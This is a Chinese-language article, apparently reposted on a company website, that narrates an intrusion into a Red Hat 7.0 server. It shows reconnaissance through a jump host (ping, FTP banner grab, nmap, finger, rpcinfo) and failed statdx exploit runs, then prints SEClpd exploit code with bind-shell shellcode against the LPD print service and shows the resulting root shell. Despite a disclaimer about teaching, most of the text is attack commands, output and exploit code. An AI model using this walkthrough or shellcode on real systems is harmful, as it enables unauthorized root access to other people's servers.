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加强安全:看清黑客怎样入侵linux

时间:2020-09-03 来源:深圳维创信息技术 1

此文的目的不在于教人入侵,而是为了提高自身的技术和加强网络管理员的安全防范意识。

仅此而已!粗心大意的网络管理员应该明白:由于你们一个小小的操作失误可能会导致整个网络全面沦陷!本文主要是围绕LPD:网络打印服务的攻击而进行的。

  首先确定目标,假设是:www.XXX.com  先让俺看看是不是连得上: 以下是引用片段: C:\ping www.XXX.com   Pinging www.XXX.com[202.106.184.200] with 32 bytes of data:   Reply from 202.106.184.200: bytes=32 time=541ms TTL=244   Reply from 202.106.184.200: bytes=32 time=620ms TTL=244   Reply from 202.106.184.200: bytes=32 time=651ms TTL=244   Reply from 202.106.184.200: bytes=32 time=511ms TTL=244   Ping statistics for 202.106.184.200:   Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),   Approximate round trip times in milli-seconds:   Minimum = 511ms, Maximum = 651ms, Average = 580ms   嘻嘻―不但连得上,速度还不错……   先telnet看看banner:   C:\>telnet www.XXX.com 遗失对主机的连接。

  再试试ftp, 以下是引用片段:C:\>ftp www.XXX.com   Connected to www.fbi.gov.tw.   220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.   User (www.XXX.com:(none)): wu-2.6.1看来有点眉目了。

这台机器像是RedHat7.0!首先必须确认一下,连上俺的跳板: 以下是引用片段: C:\>telnet xxx.xxx.xxx.xxx   Red Hat Linux release 7.0 (Guinness)   Kernel 2.2.16-22smp on an i686   login: fetdog   Password:   bash-2.04$ 拿nmap扫描器,看看其中的奥妙~~~ 以下是引用片段: bash-2.04$nmap -sT -O www.XXX.com   Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )   WARNING! The following files exist and are readable: /usr/local/sha   -services and ./nmap-services. I am choosing /usr/local/share/nmap/   s for security reasons. set NMAPDIR=. to give priority to files in   irectory   Interesting ports on (www.XXX.com):   (The 1520 ports scanned but not shown below are in state: closed)   Port State Service   25/tcp open smtp   79/tcp open finger   80/tcp open http   111/tcp open sunrpc   113/tcp open auth   443/tcp open https   513/tcp open login   514/tcp open shell   515/tcp open printer   587/tcp open submission   1024/tcp open kdm   TCP Sequence Prediction: Class=random positive increments   Difficulty=3247917 (Good luck!)   Remote operating system guess: Linux 2.1.122 - 2.2.16   Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds 打开的端口还挺多,这意味着入侵的可能性增加。

79/tcp open finger ,先看看这个,不过linux没有finger用户列表这个漏洞。

以下是引用片段: bash-2.04$finger @www.XXX.com   [www.XXX.com]   No one logged on. 再看看111/tcp open sunrpc 。

近来rpc漏洞风行,不知道RH7这个东东会不会有?先看看再说! 以下是引用片段: bash-2.04$rpcinfo -p www.XXX.com   program vers proto port service   100000 2 tcp 111 rpcbind   100000 2 udp 111 rpcbind   100021 1 udp 1024 nlockmgr   100021 3 udp 1024 nlockmgr   100024 1 udp 1025 status   100024 1 tcp 1024 status 看来有rpc.statd服务。

来看看能不能远程溢出拿个rootshell。

以下是引用片段: bash-2.04$./statdx -h   statdx by ron1n   Usage: stat [-t] [-p port] [-a addr] [-l len]   [-o offset] [-w num] [-s secs] [-d type]   -t attack a tcp dispatcher [udp]   -p rpc.statd serves requests on [query]   -a the stack address of the buffer is   -l the length of the buffer is [1024]   -o the offset to return to is [600]   -w the number of dwords to wipe is [9]   -s set timeout in seconds to [5]   -d use a hardcoded   Available types:   0 Redhat 6.2 (nfs-utils-0.1.6-2)   1 Redhat 6.1 (knfsd-1.4.7-7)   2 Redhat 6.0 (knfsd-1.2.2-4)   看来并不支持RH7。

还是继续尝试,把0-2全部试试看再说!start……   bash-2.04$stat -d 0 www.XXX.com   buffer: 0xbffff314 length: 999 (+str/+nul)   target: 0xbffff718 new: 0xbffff56c (offset: 600)   wiping 9 dwords   Failed - statd returned res_stat: (failure) state: 21   受挫,再试……   bash-2.04$stat -d 1 www.XXX.com   buffer: 0xbffff314 length: 999 (+str/+nul)   target: 0xbffff718 new: 0xbffff56c (offset: 600)   wiping 9 dwords   Failed - statd returned res_stat: (failure) state: 21 一样``继续以下是引用片段: bash-2.04$stat -d 1 www.XXX.com   buffer: 0xbffff314 length: 999 (+str/+nul)   target: 0xbffff718 new: 0xbffff56c (offset: 600)   wiping 9 dwords   Failed - statd returned res_stat: (failure) state: 21 rpc.statd行不通,想想RH7应该有个远程溢出,好像是lp服务造成的。

“seclpd.c”应该是这个东东了。

  ―――――以下代码仅供教学使用,决不能用来进行恶意攻击―――――   以下是引用片段: /*   * Welcome to http://hlc.cnroot.com/   * Run: ./SEClpd victim brute -t type   * Try first ./SEClpd victim -t 0 then try the brute.   */   #include   #include   #include   #include   #include   #include   #include   #include   #include   #include   #include   #include   #define ADDRESS_BUFFER_SIZE 32+4   #define APPEND_BUFFER_SIZE 52   #define FORMAT_LENGTH 512-8   #define NOPCOUNT 200   #define SHELLCODE_COUNT 1030   #define DELAY 50000 /* usecs */   #define OFFSET_LIMIT 5000   char shellcode[] =   "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"   "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"   "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"   "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"   "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"   "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"   "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"   "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"   "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; brute暴力破解。

等上5-8分钟左右,结果出来了。

以下是引用片段: - [+] shell located on www.XXX.com   - [+] Enter Commands at will   Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown   uid=0(root) gid=7(lp) uid=0(root权限),现在可以近一步入侵!但不要做坏事!

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